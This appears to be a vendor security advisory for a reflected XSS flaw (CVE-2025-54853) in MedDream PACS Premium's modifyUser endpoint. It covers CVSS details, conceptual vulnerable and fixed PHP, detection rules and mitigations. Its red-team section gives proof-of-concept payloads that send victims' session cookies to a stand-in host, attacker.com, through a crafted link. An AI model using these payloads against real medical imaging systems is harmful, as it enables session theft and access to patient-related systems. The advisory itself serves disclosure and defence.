CVE-2025-54853

Executive Summary

CVE-2025-54853 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw resides in the modifyUser functionality, allowing an attacker to inject arbitrary JavaScript code via a specially crafted URL. With a CVSS score of 6.1 (Medium), this vulnerability requires user interaction but can lead to session hijacking, credential theft, or defacement. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary medical imaging software (MedDream PACS Premium). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction (clicking a malicious link) and has limited impact, but in a healthcare PACS environment, XSS can lead to data exposure or lateral movement.

Deep Dive & Mechanics

The modifyUser endpoint in MedDream PACS Premium 7.3.6.870 does not properly sanitize user-supplied input before reflecting it in the HTTP response. An attacker can craft a URL such as:

https://target-pacs.com/modifyUser?username=<script>alert('XSS')</script>

When a victim (e.g., an administrator) clicks this link, the injected script executes in the context of the PACS web application. This can be used to steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output encoding or input validation in the modifyUser function allows the attack.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// modifyUser.php
$username = $_GET['username'];
echo "Modifying user: " . $username;

Patched Code (Conceptual):

// modifyUser.php
$username = htmlspecialchars($_GET['username'], ENT_QUOTES, 'UTF-8');
echo "Modifying user: " . $username;

The patched version uses htmlspecialchars() to encode special characters, preventing script injection. Since no official patch is available, this is a recommended fix.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install MedDream PACS Premium 7.3.6.870 in a controlled environment.
2. Access the web interface and identify the modifyUser endpoint.
3. Craft a malicious URL:

   http://target-pacs.com/modifyUser?username=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Send the link to a victim (e.g., via email or chat).
5. Set up a listener on attacker.com to capture cookies.

Exploit Code (Proof of Concept):

<!-- exploit.html -->
<a href="http://target-pacs.com/modifyUser?username=<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>">Click here</a>

Blue Team

Detection:

• Monitor web logs for suspicious modifyUser requests containing <script> tags or encoded JavaScript.
• Use WAF rules to block reflected XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding on the modifyUser endpoint.
• If possible, upgrade to a patched version when available.
• Restrict access to the PACS web interface via VPN or IP whitelisting.

Indicators of Compromise (IOCs)

• URL Patterns: Requests to /modifyUser with parameters containing <script>, onerror, javascript:, or base64-encoded payloads.
• Network Traffic: Outbound connections to unknown domains from the PACS server.
• Log Entries: HTTP 200 responses to modifyUser with unusual parameter values.
• File Hashes: N/A (no file-based IOCs).

Detection Engineering

YARA Rule

rule CVE_2025_54853_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against MedDream PACS modifyUser endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54853"
    strings:
        $xss1 = /modifyUser\?username=.*<script/i
        $xss2 = /modifyUser\?username=.*onerror/i
        $xss3 = /modifyUser\?username=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on MedDream PACS modifyUser
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-54853
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - 'modifyUser?username='
        cs-uri-query|re: '(<script|onerror|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of special characters in usernames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54853 Reflected XSS Attempt"; flow:to_server; content:"modifyUser"; http_uri; content:"username="; http_uri; pcre:"/(<script|onerror|javascript:)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply input validation and output encoding to the modifyUser endpoint. Use htmlspecialchars() or equivalent.
2. Short-term: Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
3. Long-term: Contact MedDream for an official patch. Monitor vendor advisories for updates.
4. Compensating Controls: Enforce Content Security Policy (CSP) headers, use HTTP-only cookies, and restrict access to the PACS interface.

Valters IT
Securing Digital Frontiers